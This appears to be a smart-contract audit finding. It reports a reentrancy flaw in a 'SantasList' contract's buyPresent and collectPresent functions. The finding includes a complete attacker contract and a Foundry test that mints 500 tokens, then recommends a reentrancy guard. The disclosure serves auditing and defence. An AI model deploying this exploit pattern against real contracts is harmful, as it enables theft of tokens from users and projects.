Summary
It's possible to mint any amount of tokens using buyPresent
function when the caller is NICE or EXTRA_NICE and has at least 1e18 Santa tokens on the balance.
Vulnerability Details
If the caller is a contract, the issue occurs because it's possible to call collectTokens()
which is vulnerable to reentrancy.
Here is possible attacker's contract:
pragma solidity 0.8.22;
import "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
interface ISantasList {
function collectPresent() external;
function buyPresent(address presentReceiver) external;
function balanceOf(address owner) external returns (uint256);
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract BuyPresentAttack is Ownable {
ISantasList santasList;
uint256 counter = 0;
uint256 public constant WISHED_AMOUNT_OF_TOKENS = 500;
constructor(address _santasListAddress) Ownable(msg.sender) {
santasList = ISantasList(_santasListAddress);
}
function attack(address otherAddress) public onlyOwner {
santasList.buyPresent(otherAddress);
}
function onERC721Received(address from, address, uint256 tokenId, bytes memory )
public
returns (bytes4)
{
if (counter < WISHED_AMOUNT_OF_TOKENS) {
santasList.transferFrom(from, owner(), tokenId);
counter++;
santasList.collectPresent();
}
counter = 0;
return 0x150b7a02;
}
}
Attack test:
function testBuyPresentAttack() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
vm.prank(address(santasList));
santaToken.mint(user);
assertEq(santaToken.balanceOf(user), 1e18);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
assertEq(santasList.balanceOf(attacker), 0);
vm.prank(attacker);
buyPresentAttack.attack(address(user));
assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(attacker), buyPresentAttack.WISHED_AMOUNT_OF_TOKENS());
}
Impact
High. The logic of the token distribution is broken by the vulnerability.
Tools Used
Manual check.
Recommendations
Consider adding reentrancy guard to collectPresent()
.